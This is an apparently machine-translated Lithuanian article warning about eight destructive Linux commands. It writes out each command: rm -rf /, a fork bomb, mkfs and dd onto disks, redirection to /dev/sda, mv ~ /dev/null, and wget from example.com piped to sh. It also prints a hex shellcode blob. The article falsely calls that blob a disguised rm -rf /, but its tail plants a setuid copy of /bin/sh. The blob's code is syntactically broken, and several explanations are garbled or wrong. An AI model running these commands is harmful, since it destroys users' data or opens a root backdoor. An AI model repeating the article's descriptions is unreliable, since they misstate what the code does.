Terminalo komandos Linux sistemoje yra gana žalingos, jei paleisite komandą, ji sunaikins jūsų sistemą. „Linux“ nereikalauja patvirtinimo vykdant bet kokią komandą.
Sužinoję, kurių komandų nereikėtų paleisti sistemoje „Linux“, galite apsaugoti jūsų sistemą dirbant su „Linux“. Žemiau yra 8 mirtinos komandos, kurių niekada neturėtumėte paleisti „Linux“.

1. rm -rf / - ištrinti viską
Komanda rm -rf / ištrins viską, įskaitant failus standžiajame diske ir failus, esančius medijos įrenginiuose, prijungtuose prie kompiuterio.
Norėdami geriau suprasti šią komandą, išanalizuokite ją taip:
- rm – ištrinkite šiuos failus.
- -rf – paleidžia rm (ištrina visus failus ir aplankus nurodytame aplanke) ir priverstinai ištrina visus failus jūsų neprašant.
- / – Nurodo, kad rm (tarkime, rm) paleidžiama šakniniame kataloge, įskaitant visus jūsų kompiuteryje esančius failus.
„Linux“ mielai vykdys šią komandą ir ištrins viską jūsų neįspėjęs, todėl būkite atsargūs naudodami šią komandą.
Be to, komanda rm taip pat naudojama labai pavojingais būdais. Pavyzdžiui, rm –rf ~ ištrins visus failus iš namų aplanko, o rm -rf .* ištrins visus konfigūracijos failus.
2. Užmaskuota komanda rm –rf /
Štai kodo fragmentas visame žiniatinklyje:
char esp[] __attribute__ ((section(.text"))) /* esp release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" " \xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7 " "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80" \x31" "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" "\x6e\x2f\x73\x68\x00\x2d\x63\x00" "cp - p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
Iš esmės tai yra kita rm –rf / versija – vykdant šią komandą bus ištrinti visi failai, kaip ir paleidus rm –rf /.
3. :(){ :|: & };: – Blockbusterio tipas

Toliau pateikta komandų eilutė atrodo labai paprasta, tačiau jos funkcija iš tikrųjų yra labai pavojinga:
:(){ :|: & };:
Ši trumpa komanda sukurs naujas savo kopijas. Tai reiškia, kad pats atsarginės kopijos kūrimo procesas bus nenutrūkstamas ir greitai užpildys jūsų CPU ir atmintį.
Be to, kompiuteris gali užšalti. Iš esmės tai yra paslaugų atsisakymo (DoS) ataka.
4. mkfs.ext4 /dev/sda1 – standžiojo disko formatai
Komanda mkfs.ext4 /dev/sda1 yra gana lengva suprasti:
- mkfs.ext4 – sukuria ext4 failų sistemą šiame įrenginyje.
- /dev/sda1 – identifikuoja pirmąjį skaidinį pirmame standžiajame diske, kuris gali būti naudojamas standusis diskas.
Šių dviejų komandų derinimas prilygsta C: disko formatavimui sistemoje Windows – ištrinkite visus failus iš pirmojo skaidinio ir pakeiskite juos nauja failų sistema.
Ši komanda gali būti rodoma įvairiais formatais, pvz., mkfs.ext3 /dev/sdb2 formatuos antrąjį skaidinį antrajame standžiajame diske su ext3 failų sistema.
5. komanda > /dev/sda – rašyti tiesiai į standųjį diską

Komandų eilutė > /dev/sda – paleiskite komandą ir išveskite jos rezultatą tiesiai į pirmąjį standųjį diską, įrašydami duomenis tiesiai į standųjį diską ir sunaikindami failų sistemą.
- komanda – paleiskite komandą (gali būti bet kuri komanda).
- > – siunčia komandos išvestį į šią vietą.
- /dev/sda – įrašykite komandos išvestį tiesiai į standžiojo disko įrenginį.
6. dd if=/dev/random of=/dev/sda – įrašo kvailus duomenis į standųjį diską
Eilutė dd if=/dev/random of=/dev/sda ištrins duomenis viename iš standžiųjų diskų.
- dd – žemo lygio kopijavimas iš vienos vietos į kitą.
- if=/dev/random – naudokite /dev/random kaip įvestį – galite matyti tokius adresus kaip /dev/zero.
- of=/dev/sda – išvestis į pirmąjį standųjį diską, pakeičiant failų sistemą atsitiktiniais kvailais duomenimis.
7. mv ~ /dev/null – perkelkite savo namų katalogą į juodąją skylę
/dev/null – ką nors perkelti į /dev/null yra tas pats, kas jį sunaikinti. Pagalvokite apie /dev/null kaip juodąją skylę. mv ~ /dev/null išsiųs visus jūsų asmeninius failus į juodąją skylę.
- mv – perkelkite šį failą ar aplanką į kitą vietą.
- ~ – visas jūsų namų aplankas.
- /dev/null – perkelkite savo namų aplanką į /dev/null, jis sunaikins visus failus ir ištrins originalias kopijas.
8. wget http://example.com/something -O – | sh – įkelkite ir paleiskite scenarijų
Aukščiau pateikta komanda atsisiųs scenarijų iš žiniatinklio ir nusiųs scenarijų į sh, kuris vykdys scenarijaus turinį. Tai gali būti pavojinga, jei nesate tikri, kas yra scenarijus, arba neturite patikimo scenarijaus šaltinio – neleiskite nepatikimų scenarijų.
wget – atsisiųskite failą.
http://example.com/something – atsisiųskite failus iš šios vietos.
| – Nusiųskite (išsiųskite) komandos wget išvestį (atsisiųstos versijos failą) tiesiai į kitą komandą.
sh – siųsti failą į sh komandą.
Žiūrėkite daugiau straipsnių žemiau:
Linksmintis!